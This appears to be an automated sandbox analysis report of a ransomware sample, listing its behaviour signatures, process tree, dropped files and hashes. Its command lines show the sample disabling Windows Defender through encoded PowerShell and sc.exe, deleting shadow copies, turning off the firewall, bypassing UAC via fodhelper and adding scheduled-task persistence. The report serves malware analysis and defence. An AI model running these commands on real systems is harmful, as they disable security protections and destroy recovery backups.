Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    11/05/2026, 08:51

General

  • Target
    2026-05-11_f18711e7e92e55f624ff83fd1fed5cbf_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 51KB
  • Sample260511-ksj8bady2x
  • SHA256 68a32c0944c8e2aa7ecacf253cfa6e118360420840555aff7ba7fbd1ac8c7767
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 3 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Custom signature
    Detects command variations typically used by ransomware 2 IoCs
  • Custom signature
    Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-11_f18711e7e92e55f624ff83fd1fed5cbf_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-11_f18711e7e92e55f624ff83fd1fed5cbf_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4304
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:1636
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2332
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:3088
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:2096
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4024
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3308
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:5892
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3476
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5264
      • C:\Users\Admin\AppData\Local\Temp\2026-05-11_f18711e7e92e55f624ff83fd1fed5cbf_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-05-11_f18711e7e92e55f624ff83fd1fed5cbf_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:5312
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:1828
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-11_f18711e7e92e55f624ff83fd1fed5cbf_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3420
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1988
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:3908
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3352
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1544
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:5968
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4788
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:5480
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1832
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2540
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4016
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3752
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:2544
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:820
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:5188
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3880
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:2488
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-11_f18711e7e92e55f624ff83fd1fed5cbf_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4104
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:2072
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:5268
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:600
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:5144
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3064
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:1628
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:2632
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:5220
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:5972
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3a2d855 /state1:0x41c64e6d
                1⤵
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:5964
              • C:\Users\Admin\AppData\Local\Temp\2026-05-11_f18711e7e92e55f624ff83fd1fed5cbf_destroyer_elex_glassworm_ngrbot_wannacry.exe
                C:\Users\Admin\AppData\Local\Temp\2026-05-11_f18711e7e92e55f624ff83fd1fed5cbf_destroyer_elex_glassworm_ngrbot_wannacry.exe
                1⤵
                  PID:4224
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5128

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

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                      Downloads

                      invoice_1.pdf

                      • Path C:\ProgramData\invoice_1.pdf
                      • Size 69KB
                      • SHA256 a309c4d7faa974b70b82e4e9b96375702f8d67c8e386f79944bc3456040b3f30
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      doc_3.pdf

                      • Path C:\SystemVolumeInformation\doc_3.pdf
                      • Size 68KB
                      • SHA256 900f5c6b1b7c36c85e6bcf44312229ea4790b83cd44a83abd04597cc53a82a4c
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      2026-05-11_f18711e7e92e55f624ff83fd1fed5cbf_destroyer_elex_glassworm_ngrbot_wannacry.exe.log

                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-05-11_f18711e7e92e55f624ff83fd1fed5cbf_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                      • Size 660B
                      • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                      • MD5 SHA1 SHA512 TLSH

                      __PSScriptPolicyTest_zgratacj.hwg.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zgratacj.hwg.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      createshortcut.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                      • Size 309B
                      • SHA256 20abd2ae0b71e6f7496936a2f126ee750b832f86cdb53864666691b927565196
                      • MD5 SHA1 SHA512 TLSH

                      del.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                      • Size 59B
                      • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                      • MD5 SHA1 SHA512 TLSH

                      makelnk.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                      • Size 310B
                      • SHA256 6f0f465dd6b439516c933c931003b3a33c67f427687cc73c65c327e638c83961
                      • MD5 SHA1 SHA512 TLSH

                      sysupdate.exe

                      • Path C:\Windows\System32\sysupdate.exe
                      • Size 51KB
                      • SHA256 68a32c0944c8e2aa7ecacf253cfa6e118360420840555aff7ba7fbd1ac8c7767
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      memory/600-2280-0x000001AB97960000-0x000001AB97991000-memory.dmp

                      memory/1828-2245-0x000001FDB1D60000-0x000001FDB1D91000-memory.dmp

                      memory/1828-2246-0x000001FDB3450000-0x000001FDB345C000-memory.dmp

                      memory/2072-2258-0x0000028049C10000-0x0000028049C41000-memory.dmp

                      memory/2072-2259-0x0000028049CA0000-0x0000028049CAC000-memory.dmp

                      memory/2540-2261-0x000002DB86FB0000-0x000002DB86FE1000-memory.dmp

                      memory/2632-2284-0x0000026CB1CD0000-0x0000026CB1D01000-memory.dmp

                      memory/3352-2267-0x000001A71F3F0000-0x000001A71F421000-memory.dmp

                      memory/3908-2266-0x000001F9A7D50000-0x000001F9A7D81000-memory.dmp

                      memory/4224-2255-0x0000000000A10000-0x0000000000A41000-memory.dmp

                      memory/4304-26-0x00000268EB670000-0x00000268EB68C000-memory.dmp

                      memory/4304-25-0x00000268EB4F0000-0x00000268EB4FA000-memory.dmp

                      memory/4304-31-0x00000268EB6A0000-0x00000268EB6AA000-memory.dmp

                      memory/4304-29-0x00000268EB660000-0x00000268EB668000-memory.dmp

                      memory/4304-28-0x00000268EB6B0000-0x00000268EB6CA000-memory.dmp

                      memory/4304-27-0x00000268EB650000-0x00000268EB65A000-memory.dmp

                      memory/4304-36-0x00000268D29B0000-0x00000268D29C2000-memory.dmp

                      memory/4304-35-0x00000268D2900000-0x00000268D290C000-memory.dmp

                      memory/4304-34-0x00000268D1000000-0x00000268D1031000-memory.dmp

                      memory/4304-24-0x00000268EB430000-0x00000268EB4E3000-memory.dmp

                      memory/4304-23-0x00000268D2B70000-0x00000268D2B8C000-memory.dmp

                      memory/4304-13-0x00000268D2B40000-0x00000268D2B62000-memory.dmp

                      memory/4304-30-0x00000268EB690000-0x00000268EB696000-memory.dmp

                      memory/5144-2283-0x000002842AB60000-0x000002842AB91000-memory.dmp

                      memory/5264-14-0x0000029BB71C0000-0x0000029BB71F1000-memory.dmp

                      memory/5268-2282-0x0000025B51790000-0x0000025B517C1000-memory.dmp

                      memory/5268-2270-0x0000025B52EB0000-0x0000025B52EB1000-memory.dmp

                      memory/5312-16-0x0000000000EC0000-0x0000000000EF1000-memory.dmp

                      memory/5480-2268-0x00000190999F0000-0x0000019099A21000-memory.dmp

                      memory/5964-2288-0x000001D90DA30000-0x000001D90DA61000-memory.dmp

                      memory/5968-2290-0x00000250290E0000-0x0000025029111000-memory.dmp

                      memory/5996-2-0x000000001DE60000-0x000000001E022000-memory.dmp

                      memory/5996-3-0x000000001E030000-0x000000001E558000-memory.dmp

                      memory/5996-1-0x0000000002C90000-0x0000000002CA0000-memory.dmp

                      memory/5996-2289-0x0000000002C90000-0x0000000002CA0000-memory.dmp

                      memory/5996-0-0x0000000000A10000-0x0000000000A24000-memory.dmp

                      memory/5996-2287-0x000000001D180000-0x000000001D192000-memory.dmp

                      memory/5996-2286-0x0000000002C40000-0x0000000002C4C000-memory.dmp

                      memory/5996-2285-0x00000000010E0000-0x0000000001111000-memory.dmp